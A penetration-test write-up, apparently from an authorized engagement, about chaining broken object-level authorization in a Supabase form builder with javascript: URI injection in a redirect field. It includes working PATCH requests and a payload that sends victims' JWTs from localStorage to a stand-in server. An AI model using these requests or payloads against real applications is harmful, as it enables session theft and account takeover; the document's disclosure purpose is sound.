A few months ago, a group of friends building a startup asked me to perform a penetration test on their web application. I do freelance security work on the side, and this was exactly the kind of engagement I enjoy, a real product, real code, and a team that wanted to find issues before launch.

The app was a Supabase-backed form builder where users could create forms to collect structured data surveys, feedback, and similar while responses came from other users. Each form required admin approval before going live, acting as a moderation layer. I was given a test account, a defined scope, and full authorization. While the engagement uncovered several issues, this write-up focuses on two specific findings, because when chained together, they led to full account takeover.

BOLA: Anyone Can Modify Anyone's Data

While analyzing the form editing flow, I noticed the frontend sent a PATCH request directly to the Supabase REST API when updating a form:

curl -k -X PATCH "https://<project>.supabase.co/rest/v1/forms?id=eq.$FORM_ID" \
-H "authorization: Bearer $JWT" \
-H "apikey: $APIKEY" \
-H "Content-Type: application/json" \
-d '{"title": "Updated Title"}'

At first glance, this looked normal. But two issues stood out.

First, the API accepted any FORM_ID not just forms owned by the authenticated user. There was no object-level ownership check.

Second, sensitive fields like is_approved and status were writable.

This meant any authenticated user could modify any form in the system, including approving forms by sending:

-d '{"is_approved": true, "status": "accepted"}'

The backend only verified that the JWT was valid, it never checked whether the user was authorized to modify the target resource. Classic Broken Object Level Authorization (BOLA).

javascript: URI Injection and JWT Exfiltration

With write access to arbitrary form fields, I looked for impact. Stored XSS wasn't viable due to React's escaping, so injecting scripts into rendered content wouldn't execute.

However, the application used a two-step redirection flow. Each form had:

  • a short URL (what users actually visit)
  • a form_url (the destination)

When a user clicked the short URL, they were first taken to a dedicated handler page, which then performed a client-side redirect to the value stored in form_url.

This redirect logic became the attack surface. The backend didn't validate form_url, and the redirect page blindly trusted it. That meant arbitrary URI schemes were allowed. I confirmed this with:

-d '{"form_url": "javascript:alert(1)"}'

When visiting the short URL, the handler page executed the payload during the redirect.

There was no Content Security Policy, so nothing prevented execution. Since Supabase stores session tokens in localStorage, I escalated the payload to exfiltrate the JWT:

-d "{\"form_url\": \"javascript:fetch('https://MY_SERVER/?jwt='+localStorage.getItem('<token-key>'))\"}"

When a victim visited the short URL, the redirect page executed the payload and sent their token to my server.

Chaining to Full Account Takeover

Individually, both issues are impactful. Chained together, they enable full account takeover.

An attacker can create a malicious form with a javascript: payload in form_url. Since forms require admin approval, the next step is getting it reviewed. During this process, an admin visits the form via its short URL, which loads the redirect handler page — triggering the payload and exfiltrating the admin's JWT.

This results in immediate admin account takeover.

From there, the BOLA expands the impact further. Because any form can be modified, the attacker can target already published forms and replace their form_url with the same payload. These forms are trusted and actively used, so any user visiting them will trigger the redirect and leak their token.

This turns the attack into a scalable compromise:

  • Admins are taken over during the approval flow
  • Regular users are compromised via legitimate published forms

In addition, the JWT itself often contains embedded user data (such as email, phone number, and other profile attributes). Even without using the token for API access, simply capturing it can expose sensitive user information.

No special interaction is required beyond visiting a link. With a valid JWT, the attacker gains full authenticated access, allowing them to read data, modify resources, and continue propagating the attack by poisoning additional forms.